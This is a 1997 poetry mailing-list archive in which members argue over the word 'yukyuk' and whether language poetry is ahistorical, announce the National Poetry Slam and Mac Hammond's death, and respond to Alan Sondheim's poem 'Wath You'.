Yes, David -- I was thinking of the reemergence of Don Rickles, and the curious embrace he's found himself locked in, tickled, is there hope for Ted Greenwald? Worked with Ted, actually, and am pleased to hear young englische seek him out -- must be Miles C, huh? Sure couldn't be Keston... as for the droll allegation that younger americans gone soft, let me remind Snr Upton of the etymology of Frankie Goes To Hollywood -- the group believed that "Hollywood" was a place, and that the headline "Frankie Goes Hollywood" was a sorry american error -- in fact "Hollywood" is a sort of quantum space/time construction, meaning, an adjective .. so that a proper substitution would not be "Wichitia" or "Brummagem" but "sour" or "wrong". Anyway, relax, don't do it -- J

On Sat, 2 Aug 1997, David R. Israel wrote: > as based on the expression "yuck yuck yuck" (or some such), meaning > "heh heh"or "what a joke!" or "ho ho ho!" . . . i.e., a (perhaps > cartoon-based) interjection signifying or suggesting laughter (or > oftentimes, the idea of laughter shorn of the actual phenomenon?) -- > > anyway, in my speculative opinion, "a yukyuk" suggests someone > who's a serious comic of some sort -- a jokester / trickster > > involved in outlandish feats of metaphysical humor or "cosmic > laughter" as 'twere -- > a yukyuk = a muck-a-muck of chuckle-down-theory, belike? -- > > 3. In general, btw, the UCK words may

...

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49. Jordan Davis
bock bock bock pacock (incisors in the shop)
Mon 4 Aug 1997

As I said in the cavalier post that made 'em angry in England -- I wondered what Henry could mean by the proposition that language poetry denied history. Then I took two writers somewhere on the outskirts of Lang City -- two writers whose work it's generally (and with some reason) safe to say are _worth looking into_ -- and -- as a contrarian mind you! -- alleged that their work in fact did not explicitly refer to historical events as say the work of SUSAN HOWE does, or even explicitly refer to literary-historical events as say the work of CHARLES BERNSTEIN or BRUCE ANDREWS does. It was a very harmful claim, to be sure, and I hope the offended will send me their laundry bills. As for the flagrant use of a completely irrelevant characterization -- yukyuk -- I noticed that just as in Merican politics, in Merican poetics, it gets all the attention the argument at hand is too shy to demand. Ladies and gentlemen, I give you the era of the wrong word. I did receive a kind postcard from Jackson once asking me to be more clear about his having preceded language poetry, and the language poetry reading of Clark Coolidge may turn out to be one of the kinder moments in the history of manifest destiny, so if you can extend your definitions of mea culpa around those clauses, I believe we can both end up satisified. Henry -- are you smiling through all this? Would you please answer my question? Bennett's given some useful notes on history... Jordan

↑ Index

50. James Finnegan
Re: National Poetry Slam
Mon 4 Aug 1997

In a message dated 97-08-04 10:05:05 EDT, you write:

> *why is it in middletown? has wesleyan u decided that slams are cool?*

Slams at the national level are crazy cool. However, Wesleyan is not the sponsoring org. Most of the events will be held in bookshops, bars & coffeeshops in Middletown CT, with only a couple of events being held on the Wesleyan campus. The Buttonwood Tree, a very independent & freewheeling arts center, will be the hub of the whole affair.

At the national level Slam is organized by a loose confederation of the slam masters. A slam master is a self-appointed role--anyone who initiates a slam on a regular basis is a slam master. The most active slam masters hail from Boston, Chicago, SF, Portland, Austin Asheville, NYC, and Connecticut. In this '97 Nationals 36 (4-person) teams will compete, from cities & regions all over the US & Canada. This year there will even be a team called Mouth Almighty, which I believe is sponsored by the spoken word recording outfit of the same name (instigator Bob Holman, of the United States of Poetry project). Also, there are individual competitors registered--Lisa Buscani and D.J. Renegage are among the names I recognize.

Faith Vicinanza is the slam master and force behind slamming in Conn-- she and a small cadre of fervent slammers first petitioned to get the slam to Conn., and then planned/produced the whole show. And it is showtime, especially by the semi-final rounds when the stops get pulled out.

Finnegan

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51. Robert Archambeau
Re: Basil Bunting: A Northern Life
Mon 4 Aug 1997

Great news about what is certainly a very important new book on Bunting, a wonderful poet and not nearly as well known as he should be on this side of the Atlantic.

The title, _A Northern Life_, indicates the book stays pretty focussed on one aspect of what I understand to be a fascinating and various life -- does anyone know if a full-scale biography is in the works anywhere?

RA

--
Robert Archambeau
Department of English
Lake Forest College

Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

See: behind bullet-proof glass, the ruby slippers sparkle.
We do not know the limits of their powers.
We suspect that these limits may not exist.
 --Salman Rushdie

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52. **Maria Damon**
Re: National Poetry Slam
Mon 4 Aug 1997

---

thanks james f, yeah i think slams are cool, don't understand the avant-garde's need to police its borders so rigidly...just curious abt middletown, seemed an unlikely place, except i guess it is "centrally" located as moniker suggests...md

At 11:37 AM -0400 8/4/97, James Finnegan wrote:
>In a message dated 97-08-04 10:05:05 EDT, you write:
>
>>
>>why is it in middletown? has wesleyan u decided that slams are cool?
>>
>
>Slams at the national level are crazy cool. However, Wesleyan is
>not the sponsoring org. Most of the events will be held in bookshops,
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>active slam masters hail from Boston, Chicago, SF, Portland, Austin
>Asheville, NYC, and Connecticut. In this '97 Nationals 36 (4-person)
>teams will compete, from cities & regions all over the US & Canada.
>This year there will even be a team called Mouth Almighty, which
>I believe is sponsored by the spoken word recording outfit of the same
>name (instigator Bob Holman, of the United States of Poetry project).
>Also, there are individual competitors registered--Lisa Buscani and
>D.J. Renegage are among the names I recognize.
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>she and a small cadre of fervent slammers first petitioned to get the slam
>to Conn., and then planned/produced the whole show. And it is showtime,
>especially by the semi-final rounds when the stops get pulled out.
>
>Finnegan

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53. Lawrence Upton
Re: yukyuk
Mon 4 Aug 1997

<<let me
remind Snr Upton of the etymology of Frankie Goes To Hollywood>

please do, Mr Davis, but it wasn't me who made wh said that.

You seem to think, I note, that there are only two young English poets: Miles and Keston.

I am more than a little unconvinced about yukyuk but willing to potentially accept that my ignorance led me astray - if oten does. There remains the oddity of finding Mac Low and Coolidge ahistorical on which I hear nothing in defence.

Your posting ends with _In general, btw, the UCK words may_

is this an error or the syntactical farewell of a yukyuk manque?

Lawrence

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54. Joel Kuszai
MAC HAMMOND
Mon 4 Aug 1997

Perhaps it's too much of a local news item for the poetics list, but Buffalo poet, english professor, and longtime conspiratorial angel, Mac Hammond passed away last week in Buffalo.

If there is anyone out there who knew Mac, or his poetry, please get in touch with me before too long.

Published by Ohio U.P., Alan Swallow, Hammond was a student and friend of Jakobson and Pomorska before taking his PhD from Harvard in the early 60s.

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55. Jordan Davis
rude wood (makes your mouth taste like onions)
Mon 4 Aug 1997

I remain flabbergasted that Upton takes so much offense on behalf of Mac Low and Coolidge -- when as has been explained none was meant, and none was heard _within the community_. Lawrence, I do think you're being rude.

I'm also puzzled that Henry will not speak to the issue of language poetry and history he raised -- especially when so many have taken up the issue with him. I will stick to my distinction between work which explicitly uses historical data (the Olson line) and work which while it is in fact (surprise surprise!) located in time (dated -- god this is exhausting) does not in fact refer to the events of what I am imagining to be for Henry a Mandelstamian conscience (the idea that we must be classicists because there were totalitarians afoot the same time the modernists were working). I will call your attention once more in what I hope you are hearing as John Cleese's voice to the fact that I was arguing bitterly with Henry about precisely this issue, this sad, bizarre, misbegotten, lonely, kudzu-covered idea, that a work can lack historicity -- specifically the work of language poets. Since I haven't read a single word from a bona fide language poet here on the topic, I'm going to assume that at most this thread has merely enregistered another four or five names on the list of names the language poets keep -- I had to torture Bruce Andrews with Mantovanni records for two days to get the FACT of the existence of this list verified -- the list of names language poets keep of poets who are BENEATH contempt and who should be met with nothing more civil than a raised eyebrow. It's time we all just acknowledged the list (cough).

As for the larger community of younger british poets, and wouldn't that be a better thread, would you care to mention some? I may have only dropped the names of two -- because (ignoring all evidence in this thread to the contrary) I would rather carry on a discussion that involved names, works, words and ideas, rather than blah blah blah lack of incision blah blah sentimental blah have you actually read Ted?

My contribution to the post you mention, incidentally, ends well before the snipped bit of David Israel's post.

Goodbye, and good luck,
Jordan

On Mon, 4 Aug 1997, Lawrence Upton wrote:

> *<<let me*
> *remind Snr Upton of the etymology of Frankie Goes To Hollywood>*

> *please do, Mr Davis, but it wasn't me who made wh said that.*
>
> *You seem to think, I note, that there are only two young English poets: Miles and Keston.*
>
> *I am more than a little unconvinced about yukyuk but willing to potentially accept that my ignorance led me astray - if oten does. There remains the oddity of finding Mac Low and Coolidge ahistorical on which I hear nothing in defence.*
>
> *Your posting ends with _In general, btw, the UCK words may_*
>
> *is this an error or the syntactical farewell of a yukyuk manque?*
>
> *Lawrence*

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56. Lawrence Upton
flabbergasted
Mon 4 Aug 1997

<<I remain flabbergasted that Upton takes so much offense on behalf of Mac Low and Coolidge -- when as has been explained none was meant, and none was heard _within the community_. Lawrence, I do think you're being rude.>>

possibly I am and if I am then I am sorry, i apologise. i already half conceded yukyuk - wasnt just me that confused - others heard it

you see i thought you were being rude, still do really - it was the manner, the tone that offended - seemed to me i was just responding with a similar aggressiveness but for a different reason... maybe i got it wrong....forget the word... i thought you were... well, never mind... it wasnt just me - coolidge has been important and mac low much much more so - to me

and i couldnt and can't see the _ahistorical_ etc but let's let it go, and the explanation, rudeness is the last thing i want and as i say i apologise for any offense

L

↑ Index

57. Mark Weiss
yukyuks
Mon 4 Aug 1997

Maybe I missed something here. Unlike Upton, I speak American. Referring to people as "yukyuks" is certainly an idiosyncratic usage, but also clearly

dismissively pejorative. Jordan, you're surely entitled to feel any way you wish about MacLow and Coolidge, and whether or not there is an official raised-eye-brow list among language poets (there used to be something pretty close among some of Olson's epigones) we probably each have private lists of those whose work we dismiss. But if I feel dismissive of x or y I think it behooves me in this forum to express my reasons--it's that kind of forum. Otherwise we'll all drown in expletives.

↑ Index

58. Christopher Alexander

Re: yukyuks

Mon 4 Aug 1997

---

hmmm. & just yesterday I was thinking I'd
welcome an increase in list traffic. maybe we
should bring the Dorn thread back—or how
about a pillow fight?

"I wonder," he said, slyly changing the
subject, "...

I've recently been reading Hannah Weiner's
Clairvoyant Journal, & I'm absolutely shocked at
how good this book is. in particular, besides the
sheer beauty of the thing, I'm interested in the way
that it might be said to trouble the boundary between
intentional & non-intentional work, & I'm wondering
if other people see this or agree or if there are other
works out there that might be doing this—er, work,
if in a very different way, something maybe like Mac
Low's Twenties or From Pearl Harbor...

what do people have to say about his non-
non-intentional wrtg, & its relation to the
the explicitly non-intentional work?

Chris
"dammit, I made these reservations a *week* ago"

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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59. Christina Fairbank Chirot

Re: flabbergasted

Mon 4 Aug 1997

I'm puzzled by the recent exchanges involving rudeness, yukyuks and so on between Jordan Davis and Lawrence Upton. Maybe it's just my impression, but Jordan Davis doesn't seem to have answered any questions raised for him--and politiely one might add--re his idea of yukyuk, the transcendental and so on--seems it has been left up to others to do the work of sending in ideas re the word as well as re the work of Mac Low and Coolidge, the historical, ahistorical and panhistorical, anarcheological, mining and MM---(my thanks and appreciation to David Israel and Bennet Simpson for their informative and thought provoking posts!) while Jordan Davis has replied only with cute quips re FrankieG(T)H and accusations directed at Lawrence Upton. Going back through the posts, the tone and number of apologies seems to be steadily increasing from Lawrence Upton. I don't see any reason for this until coming across in a Jordan Davis post the words re no offence being meant and "none was heard_within the community_" which is rather baffling. Which community? Are the people who wrote on the list who raised questions and exchanged ideas without the particiaption of Jordan Davis part of this community or not and so on. The mention of a nameless commnity who sees things Jordan Davis' way --well, methinks it comes across as a tactic of intimidation to some extent--and seems to have worked as I note Lawrence Upton apologizing while Jordan Davis asserts his flabbergasted state. Discussion with definitions and disagreements--exchange of ideas and materials--with many possibilities of use--yes. Some rudeness when impassioned--sure. When Tom Mandel talked about raising his fists--well, he meant his own and gave his own reasons. But I don't particularly get a good feeling when one person is being steadily backed into apologizing as the other protests astonishment while also invoking a like minded unnamed community behind them someplace.

So, back to some discussion--Jordan Davis noted differing attitudes among Watten and Silliman in re the term "experimental".

Here is Clark Coolidge on the term:

(Lee Bartlett has just asked CC "Do you think of yourself as an 'experimental writer'?")

Not really. I understand that category in a general sense, but "experimental" always sounds like you are trying to do something rather than doing it. But if the term does mean what it could mean--pushing things beyond various limits--great!

(from Talking Poetry Conversations in the Workshop with Contemporary Poets Interviews by lee Bartlett Albuquerque: U of New Mexico P, 1987 p. 15)

ZA DA (beyond yes)!

dbc

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60. Christopher Alexander
dressage
Mon 4 Aug 1997

---

sorry 'bout this, but can someone give
me Joseph Lease's email address (Joseph,
are you out there?)? he seems to be signed
on, but I keep getting this "this address has
fatal errors" etc. garbage every time I try to
reach him. I dunno, maybe the name server
is down over there...

Chris

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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61. Jordan Davis
stray slack (sorry)
Mon 4 Aug 1997

DBC correctly points out that I'm holding a teddy bear in the picture of me saying 'my friends still like me' -- the bear does it, I mean -- as for the allegation that I am dodging this issue of relative historicity, I think a mysterious delay in the listserv's delivery is to blame -- the 'pacock' post (and the later unpleasant 'rude' one -- ugh, how awful to have melted down -- Lawrence, if you ever come to New York, look me up, I know excellent places to have lunch -- I promise not to equate everyone from the UK with FGtH if you promise not to mention the shortcomings of the group of writers I've been struggling to be associated with) has about all that I can think to say about this. At any rate -- sorry to everyone,

my motto is "I orient to the virtual offense" and I seem to have presumed that the general befuddlement around a throwaway word excused me -- once again, Jackson, if there's mud (or mod) on you from this -- I'll have it steamed out -- presumed that the befuddlement entitled me to employ y'all as a big shield -- I'll not do that again.

I wasn't being coy when I suggested the possibility of discussing ultrarecent writers from places other than the continental US -- I'm particularly fond of Keston (Sutherland)'s poem "Vac Stucco" and could type in some bits if anyone felt a blip of interest -- and in the tradition of international logrolling I will mention that Keston did publish a book of mine --

Mark Weiss -- it may have been that kind of subtlety more imaginary than expressed, but I meant something more affectionate than dismissal by the term 'yukyuk' -- but as Anselm Berrigan says, Heidegger is as manipulative as Spielberg --

there's a line of Joseph Lease's I've always liked -- "humorless trickster" --

Seems to me again that considering the dispersed possibilities for reading poetry, it's still a pretty conservative (and choppy comprehending) set of skills we bring to mail we can scroll through -- I've thought before that those slips can bring about beautiful misunderstandings -- though I feel today like a hideous pedant --

and one mo time, sorry --
Jordan

On Mon, 4 Aug 1997, Christina Fairbank Chirot wrote:

> *I'm puzzled by the recent exchanges involving rudeness, yukyuks and so on between Jordan Davis and Lawrence Upton. Maybe it's just my impression, but Jordan Davis doesn't seem to have answered any questions raised for him--and politiely one might add--re his idea of yukyuk, the transcendental and so on--seems it has been left up to others to do the work of sending in ideas re the word as well as re the work of Mac Low and Coolidge, the historical, ahistorical and panhistorical, anarcheological, mining and MM---(my thanks and appreciation to David Israel and Bennet Simpson for their informative and thought provoking posts!) while Jordan Davis has replied only with cute quips re FrankieG(T)H and*
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> *Not really. I understand that category in a general sense, but "experimental" always sounds like you are trying to do something rather than doing it. But if the term does mean what it could mean--pushing things beyond various limits--great!*
> *(from Talking Poetry Conversations in the Workshop with Contemporary Poets Interviews by lee Bartlett Albuquerque: U of New Mexico P, 1987 p. 15)*
>
> *ZA DA (beyond yes)!*
>
> *dbc*

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62. Maria Damon (Maria Damon)

Re: Wath You (for Clark Cooladge)

Mon 4 Aug 1997

At 11:36 AM 8/5/97, Don Cheney wrote:
>alan, i really like the a-ness of this piece. kind of an homage to a.
>
>this also sounds like a few of the kids on my son's Under-11 soccer team. i
>thought that the other kids were making fun of the one kid with a very
>obvious speech impediment but turns out there are 3 kids with speech
>impediments on the team! during practice, the word i here most is "here" as
>in "pass it hee-ahh."

>
>don

in boston, this would not be evidence of a speech impediment...--md
>
>>Wath You
>>
>>
>>A do love you. A don't hate you. A don't lake you at all. A don't love
>>you. A hate you. A lake you a bat. A lake you a lattle bat. A lake you
>>a lot. A lake you a tany lattle bat. A lake you. A love you a lot. A
>>love you so much. A love you so very much. A love you. A really do love
>>you. A really don't hate you. A really don't lake you at all. A really
>>don't love you. A really hate you. A really lake you a lot. A really
>>lake you. A really love you a lot. A really love you so very much. A
>>really love you. A really really do love you. A really really don't hate
>>you. A really really don't lake you at all. A really really don't love
>>you. A really really hate you. A really really love you. A sort of lake
>>you. A'm an love wath you. A'm not an love wath you. A'm really an love
>>wath you. A'm really not an love wath you. A'm really really an love
>>wath you. A'm really really not an love wath you. A'm so much an love
>>   wath you.
>
>
>==========
>Don Cheney San Diego, CA, USA
>http://www.geocities.com/Paris/5791
>[redacted]
>==========

↑ Index

63. **henry**
Re: bock bock bock pacock (incisors in the shop)
Tue 5 Aug 1997

Hey Jordan, hey list, hey hey hey. Jordan, I know my rendition of List participation might remind many of a horse with internet goggles mumbling into his feedbag - BUT the truth is, this time, I've just been away for a few days. Now to respond erratically to your query - & also briefly I hope -

remaining as always beneath the contempt radar -

I always talk about "language poetry", as many of you know full well, from a perspective of SEVERAL levels of abstraction. Oh ey fer sure. That is, I aim for

the theoretical shield, not the honorable practitioners, whose work I make no claim to be much familiar with. Some of you will want to drop me right there (others maybe at the corner?).

Maybe when I talk about language poetry I'ma just talking about my "idea" of same. Here's muh idea: did I say it was anti- or un-historical? I'm not sure. I think I said that what came across to me as its THEORY was that referential discourse & poetry as conventional echo-effect needs to be imploded, for cultural-revolutionary purposes. Now at various times & places the lang.po political argument is made, at others the aesthetic (the political I just gave; the aesthetic is that the autonomy of lang.po experiment & freedom is all the politics it needs). My own argument all along has been that by giving up referentiality (NOT that they DO that all the time) as in post-structuralism, and dismantling rather than organizing a structure of meaning, said lang.po (MY version of it) offers a sort of truncated or emptied-out THEORY of poetry. The phrase "language poetry" looks in 2 directions - outward toward a presumed special definition of language, and inward as a sort of self-reflexive or recursive phrase (i.e. all poetry is in language. it's sort of redundant). In both directions it reminds me of symbolism, which also trashed ordinary discourse & aimed to purify the words of the tribe. Poetry is a VERY VERY SLIPPERY THING, Jordan! In the Long March Through the Little Magazines and the Big Institutions we grow rightfully wary of ACCOMODATION TO OCCASIONS & SENTIMENT OF MASSES & ELITES ALIKE!! Makes it tough to squeeze out those Mint Crest Toothpaste Odes after every meal.

Anyway, I agree that this is all pretty old hat, gang - I agree with the people who write to this list about SPECIFIC things they've read. Not to have anymore ignorant clashes by night. - Henry G.

↑ Index

64. Alan J Sondheim
Wath You (for Clark Cooladge)
Tue 5 Aug 1997

--

Wath You

A do love you. A don't hate you. A don't lake you at all. A don't love you. A hate you. A lake you a bat. A lake you a lattle bat. A lake you a lot. A lake you a tany lattle bat. A lake you. A love you a lot. A love you so much. A love you so very much. A love you. A really do love you. A really don't hate you. A really don't lake you at all. A really don't love you. A really hate you. A really lake you a lot. A really lake you. A really love you a lot. A really love you so very much. A really love you. A really really do love you. A really really don't

hate you. A really really don't lake you at all. A really really don't love you. A really really hate you. A really really love you. A sort of lake you. A'm an love wath you. A'm not an love wath you. A'm really an love wath you. A'm really not an love wath you. A'm really really an love wath you. A'm really really not an love wath you. A'm so much an love wath you.

↑ Index

65. Bennett M. Sm [Dimpson

Re: Wath You (for Clark Cooladge)

Tue 5 Aug 1997

T
H
  I
N
K

Y
O
U

On Tue, 5 Aug 1997, Alan J Sondheim wrote:

> --
>
> *Wath You*
>
> *A do love you. A don't hate you. A don't lake you at all. A don't love you. A hate you. A lake you a bat. A lake you a lattle bat. A lake you a lot. A lake you a tany lattle bat. A lake you. A love you a lot. A love you so much. A love you so very much. A love you. A really do love you. A really don't hate you. A really don't lake you at all. A really don't love you. A really hate you. A really lake you a lot. A really lake you. A really love you a lot. A really love you so very much. A really love you. A really really do love you. A really really don't hate you. A really really don't lake you at all. A really really don't love you. A really really hate you. A really really love you. A sort of lake you. A'm an love wath you. A'm not an love wath you. A'm really an love wath you. A'm really not an love wath you. A'm really really an love wath you. A'm really really not an love wath you. A'm so much an love wath you.*

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

66. Lawrence Upton
Re: flabbergasted
Tue 5 Aug 1997

re <<intimidation>> from Dave Chirot saying you're sorry can be that you are sorry or yes it can be a way of dealing with intimidation or, if you don't set much store by never backing down etc, it can be a way of dealing with those who shout a lot when they are called to account so you can move on - i was never in favour of giving flowers to policepersons or handing down feelings of charity from the cross but there is something to be said sometimes for turning the other cheek especially when the worst thing against you is smokescreen

i too noticed the thing about community but i have just finished five years or so at a place run by lunatics who never once explained their reasons for pursuing policies that were destroying the place - and when you challenged them they said _you are the only one who feels like this_ so as soon as an explanation begins _everyone agrees with me_ i go for a break

having satisfied myself that no answer was going to come i decided to give up - it is important to keep things calm etc etc - if all the list debates were like this there would be nothing to keep calm - but that isn't the case - therefore avoiding conflict is more important to me than engaging with waffle etc - so i sd sorry and that's fine by me - i also expressed my disbelief / and yet it moves

i have better things to do than play games

re what i saw as a strange ending - yep that was me... i was glazing over by then

<<I DID think Jordon explained his "ahistorical" a bit>>

the bit was damned small

L

↑ Index

67. **henry**
Re: Quantity & Quality
Tue 5 Aug 1997

On Fri, 1 Aug 1997 15:02:23 -0700 Rachel Kubie said:
>didn't mean to imply that the sort of continuous flow of poetry that
>seems to get produced in more living circumstances is necessarily
>memory-less. The thing is, the printing press created the *standardized*
>text, the *one* we all know & seems to me that has played a big role in
>the *little object over/against time* perception of the poem that has
>maybe pushed poems into seeming isolated incidents.

I agree with you, Rachel - it was I who really got off the track of your
topic. Seems like the quantity/quality issue comes up whether you look
at performance end or script end of the spectrum. I liked "Finnegan's"
comment about the contract with the reader in any case. But, as you
imply, the temptation toward graphomania is always there.
>
>
>Un-articulatable aspects of writing developed later (with silent reading
>especially) & of course became "standard" in the long course of printing.

this seems like where it gets interesting with VISUAL-based poetry.
>
>Have also noticed that many poets who seem oriented toward performance
>rather than publication tend (in their writtens) toward a plain
>stichometry--but then, what sort of a pause or articulation of any sort
>does the stanza really score?

A poem's not exactly like a musical score. It's just an analogy. The
written poem provides the OPPORTUNITY for varied approaches (as does the
score). But I would say stanza breaks, any kind of lineation etc., can
be mined for performance results. A stanza seems like a pretty clear
indicator of overall speed & pacing - ESPECIALLY when the pattern is
broken & the syntax begins to flow over the breaks.
>
But then, maybe shallow history & reinventing the
>wheel might result in more than an experiment in conformity, might be
>refreshing, useful? It does open possibilities--who can participate in
>speaking and listening & how.

Absolutely. The stodgy traditionalist I too-often sound like is no friend of po-
etry. I just wonder sometimes about the emphasis in the US especially on
PRODUCTION - workshops, writing programs, readings, slams. The glut factor.
Can - does - anybody actually read anything anymore? It may be that an idea of

poetry as occupying a tightrope between script and performance - and without those 2 poles, the rope (or the bowstring) falls slack - would help...

or it might just add another layer of "technique"...

maybe it all comes down to non-technical factors - the artist - the writer maybe especially - as TALKING TO the "culture" at large - communicating a message or messages... but then, talk gets cheaper & cheaper it seems... that's a related issue...a poem should be a solid complex crystal to a factor of -1,000... Yeats used barbells for exercise & said all poetry should be made to be recited... ... I'm going to shut up now... Henry G....

↑ Index

68. **Don Cheney**

Re: Wath You (for Clark Cooladge)

Tue 5 Aug 1997

---

alan, i really like the a-ness of this piece. kind of an homage to a.

this also sounds like a few of the kids on my son's Under-11 soccer team. i thought that the other kids were making fun of the one kid with a very obvious speech impediment but turns out there are 3 kids with speech impediments on the team! during practice, the word i here most is "here" as in "pass it hee-ahh."

don

> *Wath You*
>
> *A do love you. A don't hate you. A don't lake you at all. A don't love you. A hate you. A lake you a bat. A lake you a lattle bat. A lake you a lot. A lake you a tany lattle bat. A lake you. A love you a lot. A love you so much. A love you so very much. A love you. A really do love you. A really don't hate you. A really don't lake you at all. A really don't love you. A really hate you. A really lake you a lot. A really lake you. A really love you a lot. A really love you so very much. A really love you. A really really do love you. A really really don't hate you. A really really don't lake you at all. A really really don't love you. A really really hate you. A really really love you. A sort of lake you. A'm an love wath you. A'm not an love wath you. A'm really an love wath you. A'm really not an love wath you. A'm really really an love wath you. A'm really really not an love wath you. A'm so much an love wath you.*

==========

Don Cheney San Diego, CA, USA
http://www.geocities.com/Paris/5791

[redacted]
==========

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69. Alan J Sondheim
Re: Wath You (for Clark Cooladge)
Tue 5 Aug 1997

On Tue, 5 Aug 1997, Don Cheney wrote:

> *alan, i really like the a-ness of this piece. kind of an homage to a.*
>
> *this also sounds like a few of the kids on my son's Under-11 soccer team. i thought that the other kids were making fun of the one kid with a very obvious speech impediment but turns out there are 3 kids with speech impediments on the team! during practice, the word i here most is "here" as in "pass it hee-ahh."*
>
> *don*

There is another odd association for me - having worked in Nova Scotia a great deal (mostly Cape Breton recently), the accents, Scottish music, and then medieval Scottish itself with what seems to me a broad -a-. So I hear a lilt; I tried to return recently to reading Burns, with little success however (although I like Henryson for example).

Alan

↑ Index

70. Lawrence Upton
yukyuk and schmuck
Tue 5 Aug 1997

Jordan - I am referring to your message backchannel. I dont think that it is appropriate to cbackchannel those kind of remarks when the disagreement starts in public and it does seem to me intimidating in intent to send it backchannel

I dont think I have been shabby
I havent called you a schmuck.
I haven't called you a lunatic...
I said is that I am well acquainted with being told I am the only one who holds an opinion.
It doesnt work with me though it does upset me when used aggressively.

I may well be ignorant, you may well be right.
I make no attempt to cover my ignorance.

If I am not ignorant in this matter then there are a thousand things I am ignorant of and I suspect you are the same because everyone else is. People who try to cover their ignorance don't learn. I want to learn. That is why I am on the list.
I dont think I am ignorant of the context of your remarks. I don't think you have explained to any degree.
But perhaps that is my ignorance and I have lost interest now... I regret that you have not.
I cannot follow exactly what you are saying towards the end of the first two quoted paragraphs - my ignorance again - but besmirched is not a word I have used and I have said nothing about Susan Howe.
You say you are embarrassed about apologising to me. I am not embarrassed about apologising to you.
I think it was right to do it for itself now...

Jordan, I don't know you and the way things have gone I guess I am unlikely to - i suppose the lunch invite is off. I can be jokey and am sometimes misunderstood for that because the tone cant be heard in writing so I am trying generally to be far more serious than I feel in my postings, even at my lowest I have a kind of underlying jollity whatever is going on But that is different to the facetiousness I find in what little I have seen of your postings - I think it is aggressive rather than assertive and there seems little charity or friendliness. It takes my jollity away anyway.

I am very sorry to have offended you, genuinely, but I suspect others will do it to you as well if this is how you usually behave. However, schmuck and lunatic have not been applied to you yet and it is unhelpful and upsetting for you to claim they have been.

Lawrence

↑ Index

71. Christopher Alexander
Re: yukyuk and schmuck
Tue 5 Aug 1997

---

guys, guys, gentlemen, um—

as much as I value your presence on the
list, & I mean both of you, do you think
that in the future this exchange could be
handled backchannel? I guess maybe this
is a general request to listmembers as well.
it's just that I find it upsetting & needless
to watch folks argue so bitterly over such

things. I appreciate that there's little enough
to be done now, & matters seem to be past
the point of reconciliation, & I'm surely not
interested in perpetuating the situation by
taking sides. I also understand that this sort
of thing is likely to happen anytime there are
more than 2 people in a room for more than
10 minutes—but really, can we try to keep
it down when it does happen? banter,
even bickering is one thing (well, they're 2
different things but each one is...), but
this is the kind of thing I expect to see
on Divorce Court (& if I didn't watch it
when it was on television...).

Chris

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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72. Jordan Davis
lunch at the public
Tue 5 Aug 1997

Lawrence --

Why would lunch be off?

If you can stand the company of a facetious quipper, I can accept (for the duration of a meal, anyway) the possibility that there might be something to talk about. It's also possible that you're right, we'd have very little to say. We've had next to nothing to say here.

A phrase I've heard a lot at my parents' house lately: "street theater."

I will add that, excluding this row, I've enjoyed your posts to the list.

Intimidatingly,
Jordan

↑ Index

73. Layne Russell
Re: You
Tue 5 Aug 1997

absolutely wonderful

Layne

↑ Index

74. Joe Safdie
Re: lunch at the public: is it possible?
Tue 5 Aug 1997

Okay, everybody finished apologizing now?

I can wait a LITTLE longer . . .

Okay. Can I go back to what I thought Jordan's original subject was, namely "history," and its capability of being reflected (or not) in verse?

A few months ago I recommended to the list an editorial by Lewis Lapham, which opined that "history," as we've known and loved it through the ages (!) is now defunct. Why? Because images, he said, have triumphed over narrative. We (by "we" I mean contemporary westerners) can't be bothered to follow arguments over an extended paragraph or two, because extended arguments don't happen all-at-once, simultaneously, like so many of the media images and video games we're exposed to. Along with history goes cause-and-effect; nothing happens "because" of something (or, as the academies might have it, there are numerous and inexplicable such causes) and Santanyana's idea that if we don't know history we're doomed to repeat it has gotten reduced to uh, wow, heavy.

Lapham is slightly more felicitous than this summary.

But the idea for POETICS people is what I (again) thought Jordan was raising. There is some poetry being written today for which "history" is not important. I think that was ONE of the things that Michael Gold was saying about Gertrude Stein, that her work was exactly "a-historical" in that sense. It's all-at-once, it's simultaneous, it directs attention, as Ron Silliman might say, to the level of the sentence, and not what came before it. Thus the inequitous capitalistic system continues, I guess was Gold's point, because creative artists have given up that part of the job description that their work be "the tale of the tribe", that they themselves be "antennae of the race", that their work MATTER in and for the world. They've opted instead for the continuous present.

This can very easily sound amateurish. I don't mean it to be so.

And, Dave Chirot and others have defended Coolidge and Jackson M. very well from this charge. But isn't it a valid charge to make about SOME people's verse?

One can't be experimental unless one knows the tradition from which one came -- a truism, perhaps, but otherwise we're just in the void, just associating on a musical phrase, just writing about our hormones, just . . . .

So I say, anything that is constructed to sound/read like it's occurring in the simultaneous present, and only there, and only now, IS a-historical. To our misfortune.

And I wrote all this without once mentioning language poetry.

↑ Index

75. Lawrence Upton
Re: yukyuk and schmuck
Tue 5 Aug 1997

<<guys, guys, gentlemen, um—>>

YES I THINK YOU ARE RIGHT

ANYWAY I HAVE NO MORE

l

↑ Index

76. Robert Drake
*Re: "*alternative*avant-garde"*
Tue 5 Aug 1997

bill's sense ov (or puzzlement over) the question matches mine, my idea of a.g. as (b)leeding edge of activity, rather than th consolidated camps just behind th front lines. but to carry the military analogy further, how does the advance guard actually work? in cadres & cels, with an intense group loyalty & distrust of the enemy all around... appropriate and adaptive during th heavy fighting, but disfunctional afterwords.

and praps that points to the problem--the term "avant garde" gets attached to certain activity, and then stays stuck long after it's accurate. certain aspects of langpo might have been a.g., or free jazz... but are they still? well, for some folks probably so--if bebop is as far as your ears have gotten, than albert ayler is a.g.... sometimes, too, the a.g. designer label is claimed by folks as a marketing tool, especially in a popular culture such as ours, that values The New as latest/greatest. & that too can lead to the dynamics that maria's pointing to--seige mentality, whether or no it's "justified"...

(btw, i'm casting no aspersions & making no claims for what poetics are "legitimatly" a.g., whatever that might mean, & hope no one else will... that's one slippery slope we've been down several times too often...)

